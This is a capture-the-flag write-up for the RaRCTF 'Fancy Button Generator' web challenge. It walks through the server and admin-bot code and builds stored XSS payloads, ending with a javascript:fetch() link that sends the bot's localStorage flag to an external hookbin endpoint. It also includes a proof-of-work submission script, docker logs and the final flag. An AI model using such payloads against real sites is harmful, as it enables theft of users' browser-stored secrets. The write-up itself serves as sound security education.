# Fancy Button Generator
- Category: Web- Points: 100- Author: Quintec
```Check out this cool new fancy button generator! The buttons even glow!
https://fbg.rars.win/
Make sure to test your payloads using the full environment provided.```
## Scouting
That note at the bottom is really important... one thing I learned this CTF. **Always, test with a provided docker!**
We are given two files a `pow` (proof of work) solver:
```pythonimport requests
import hashlibimport uuidimport binasciiimport osimport sys
def generate():    return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]
def verify(prefix, suffix, answer, difficulty=6):    hash = hashlib.sha256(prefix.encode() + answer.encode() + suffix.encode()).hexdigest()    return hash.endswith("0"*difficulty)
def solve(prefix, suffix, difficulty):    while True:        test = binascii.hexlify(os.urandom(4)).decode()        if verify(prefix, suffix, test, difficulty):            return test
s = requests.Session()host = "https://fbg.rars.win/"
data = s.get(host + "pow").json()print("Solving POW")solution = solve(data['pref'], data['suff'], 5)print(f"Solved: {solution}")s.post(host + "pow", json={"answer": solution})
name = "" # change thislink = "" # change thisr = s.get(host + f"admin?title={name}&link={link}")print(r.text)```
What this does is solve the proof of work. `What is a proof of work?` It is something used in cryptocurrency, to prove that you actually "mined" a coin. Here we have to find a hash using the given `prefix` and `suffix` to find a `sha256` hash that ends with the number  of zeroes equal to `difficulty`.
After we send this to the `/pow` end point we can start creating buttons and sending them to the admin bot. First we'll check out the `server.py` script (I won't paste the whole thing):
```python@app.route('/button')def button():    title = request.args.get('title')    link = request.args.get('link')    return render_template('button.html', title=title, link=link)```
 This endpoint creates our button, as we can see no input sanitising is done. So the link or title could be basically anything! We can also see, that there are no `pow` checks in the function, meaning it can be created whenever. 
```python@app.route('/admin')def admin():    if (not session.get("verified")) or (not session.get("end")):        return redirect("/pow")    if session.get("end") < time.time():        del session['pref']        del session['suff']        del session['end']        del session['verified']        return redirect("/pow")
    title = request.args.get('title')    link = request.args.get('link')    host = random.choice(["admin", "admin2", "admin3"])    r = requests.post(f"http://{host}/xss/add", json={"title": title, "link": link}, headers={"Authorization": os.getenv("XSSBOT_SECRET")})    return f'Nice button! The admin will take a look. Current queue position: {r.json()["position"]}'```
Here is the admin site. We can only send the admin buttons after being verified through the `pow`.  The admin bot receives the `title` and `link` of our button, with zero checking. After that a request is sent to one of the admin bots. Time to check out what the admin bot does:
```javascriptconst visit = (req) => {    let page, browser;    return new Promise(async (resolve, reject) => {        try {            browser = await puppeteer.launch({                headless: true,                args: [                    '--no-sandbox',                    '--disable-setuid-sandbox',                    '--disable-dev-shm-usage'                ],                dumpio: true,                executablePath: process.env.PUPPETEER_EXECUTABLE_PATH            });            page = await browser.newPage();
            /* load flag */            await page.goto(process.env.SITE, {                waitUntil: "networkidle2"            });            await page.evaluate(flag => {                localStorage.flag = flag;            }, process.env.FLAG);
            let url = process.env.SITE + "button?title=" + req.title + "&link=" + req.link;            console.log("Going to ", url);            await page.goto(url, {                waitUntil: "networkidle2"            });            await page.click("#btn");            await page.waitForTimeout(TIMEOUT);            await page.close();            page = null;        } catch (err) {            console.log(err);        } finally {            if (page) await page.close();            if (browser) await browser.close();            resolve();        }    });};```
The function works asynchronously and uses the `puppeteer` package, to automate a headless browser. We can see, that after loading a new page the flag is loaded into `localStorage`:
```javascript			await page.evaluate(flag => {                localStorage.flag = flag;            }, process.env.FLAG);```
After that the bot navigates to our provided button/url:
```javascript            let url = process.env.SITE + "button?title=" + req.title + "&link=" + req.link;            console.log("Going to ", url);            await page.goto(url, {                waitUntil: "networkidle2"            });```
The button is then clicked, the bot waits a bit and then exits. Awesome!
## Finding a solution
At first I tried to escape the `href` in the tag:
```urlhttps://fbg.rars.win/button?title=...&link=%22%20onerror=alert(1)%3E```
But if you do not put in any URL, it will append it to the `fbg.rars.win/` URL. So that's a no go. How about using the `javascript:` tag?
```https://fbg.rars.win/button?title=...&link=javascript:alert(1)```
![](./alert.png)
Great, this is a proof of concept! But now for exfiltration, if we just alert the admin bot, that is absolutely useless. We need a publicly accessible endpoint. And this is where [hookbin](https://hookbin.com/) comes in. Simply click on `CREATE NEW ENDPOINT` and then use the given URL.
### Finding a working payload
This is where it really comes in handy to work with a local instance of fbg. One payload we could use is:
```javascriptnew Image().src="<your hookbin endpoint>?c="+window.localStorage.getItem('flag')```
Which we can input into the provided script:
```pythonimport requests
import hashlibimport uuidimport binasciiimport osimport sys
def generate():    return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]
def verify(prefix, suffix, answer, difficulty=6):    hash = hashlib.sha256(prefix.encode() + answer.encode() + suffix.encode()).hexdigest()    return hash.endswith("0"*difficulty)
def solve(prefix, suffix, difficulty):    while True:        test = binascii.hexlify(os.urandom(4)).decode()        if verify(prefix, suffix, test, difficulty):            return test
s = requests.Session()host = "https://fbg.rars.win/"
data = s.get(host + "pow").json()print("Solving POW")solution = solve(data['pref'], data['suff'], 5)print(f"Solved: {solution}")s.post(host + "pow", json={"answer": solution})
name = "..." # change thislink = """javascript:new Image().src="<your hookbin endpoint>?c="+window.localStorage.getItem('flag')""" # change thisr = s.get(host + f"admin?title={name}&link={link}")print(r.text)```
But this won't work... Time to try it locally. 
### docker
After running `docker-compose build` we can use:
```bashdocker-compose upStarting fancy_button_generator_admin2_1 ... doneStarting fancy_button_generator_chall_1  ... doneStarting fancy_button_generator_admin3_1 ... doneStarting fancy_button_generator_admin_1  ... doneAttaching to fancy_button_generator_chall_1, fancy_button_generator_admin2_1, fancy_button_generator_admin_1, fancy_button_generator_admin3_1admin2_1  | xssbot listening on port 80chall_1   |  * Serving Flask app 'server' (lazy loading)chall_1   |  * Environment: productionchall_1   |    WARNING: This is a development server. Do not use it in a production deployment.chall_1   |    Use a production WSGI server instead.chall_1   |  * Debug mode: offchall_1   |  * Running on all addresses.chall_1   |    WARNING: This is a development server. Do not use it in a production deployment.chall_1   |  * Running on http://172.18.0.5:5000/ (Press CTRL+C to quit)admin3_1  | xssbot listening on port 80admin_1   | xssbot listening on port 80```
Then I started all the Time to try our payloads, and look for errors! 
*Note: Be sure to change the `host` variable in the script*
After executing the payload, and checking hookbin:
![](./nada.png)
Well... that didn't work. Why?
```bashadmin3_1  | vistiting: {admin3_1  |   title: '...',admin3_1  |   link: "javascript:new Image().src='https://hookb.in/QJJEJLpxQ0i8mNzzmJ03?c='+window.localStorage.getItem('flag')"admin3_1  | } []admin3_1  | Fontconfig warning: "/etc/fonts/fonts.conf", line 100: unknown element "blank"admin3_1  | [0809/202810.380784:ERROR:bus.cc(393)] Failed to connect to the bus: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directoryadmin3_1  | admin3_1  | DevTools listening on ws://127.0.0.1:44595/devtools/browser/5142a2c8-c6c0-4c0c-9ea5-c78c0946cbcdadmin3_1  | [0809/202810.394944:ERROR:gpu_init.cc(441)] Passthrough is not supported, GL is swiftshaderadmin3_1  | [0809/202810.420350:ERROR:command_buffer_proxy_impl.cc(126)] ContextResult::kTransientFailure: Failed to send GpuControl.CreateCommandBuffer.admin3_1  | Going to  https://fbg.rars.win/button?title=...&link=javascript:new Image().src='https://hookb.in/QJJEJLpxQ0i8mNzzmJ03?c='+window.localStorage.getItem('flag')admin3_1  | [0809/202813.309781:INFO:CONSOLE(1)] "Uncaught SyntaxError: Unexpected identifier", source: https://fbg.rars.win/button?title=...&link=javascript:new%20Image().src=%27https://hookb.in/QJJEJLpxQ0i8mNzzmJ03?c=%27+window.localStorage.getItem(%27flag%27) (1)```
Right, so there seems to be a syntax error? What if we send a simple request, without any extra data? 
```pythonlink = """javascript:new Image().src="<your hookbin endpoint>"""" # change this```
Time to check:
```bashadmin3_1  | vistiting: {admin3_1  |   title: '...',admin3_1  |   link: "javascript:new Image().src='https://hookb.in/QJJEJLpxQ0i8mNzzmJ03'"admin3_1  | } []admin3_1  | Fontconfig warning: "/etc/fonts/fonts.conf", line 100: unknown element "blank"admin3_1  | [0809/202948.026389:ERROR:bus.cc(393)] Failed to connect to the bus: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directoryadmin3_1  | admin3_1  | DevTools listening on ws://127.0.0.1:36589/devtools/browser/61c24fcb-bc1e-47c3-ac37-6fb90456910dadmin3_1  | [0809/202948.043770:ERROR:gpu_init.cc(441)] Passthrough is not supported, GL is swiftshaderadmin3_1  | [0809/202948.073610:ERROR:command_buffer_proxy_impl.cc(126)] ContextResult::kTransientFailure: Failed to send GpuControl.CreateCommandBuffer.admin3_1  | Going to  https://fbg.rars.win/button?title=...&link=javascript:new Image().src='https://hookb.in/QJJEJLpxQ0i8mNzzmJ03'
```
No errors and checking hookbin, it went through. So we can't really use a `+` probably? As that causes a syntax error. Well... in comes `fetch`. 
## Fetch
We try:
````javascriptjavascript:fetch('<hookbin endpoint>')````
As a simple test and it goes through! Now we can try sending some data! With fetch we can send headers as a dictionary, like so:
```javascriptfetch('<endpoint>', { headers:{ 'Content-Type' : 'test' } })```
Change the link, and go ahead:
```bashadmin_1   | vistiting: {admin_1   |   title: '...',admin_1   |   link: "javascript:fetch('https://hookb.in/ggg2p92p2XiG7Voo7z7P',{headers:{'Content-Type':'test'}})"admin_1   | } []admin_1   | Fontconfig warning: "/etc/fonts/fonts.conf", line 100: unknown element "blank"admin_1   | admin_1   | DevTools listening on ws://127.0.0.1:34819/devtools/browser/a341f2bb-7789-4bad-8b2a-dbd91ab8d6ebadmin_1   | [0809/203918.354358:ERROR:bus.cc(393)] Failed to connect to the bus: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directoryadmin_1   | [0809/203918.363929:ERROR:gpu_init.cc(441)] Passthrough is not supported, GL is swiftshaderadmin_1   | Going to  https://fbg.rars.win/button?title=...&link=javascript:fetch('https://hookb.in/ggg2p92p2XiG7Voo7z7P',{headers:{'Content-Type':'test'}})```
And hookbin:
![](./poc.png)
Awesome! Time to get the flag:
## Flag
The payload to the actual challenge site:
```pythonlink = "javascript:fetch('https://hookb.in/ggg2p92p2XiG7Voo7z7P',{headers:{'Content-Type':window.localStorage.getItem('flag')}})"```
Hookbin:
![](./flag.png)
`rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}`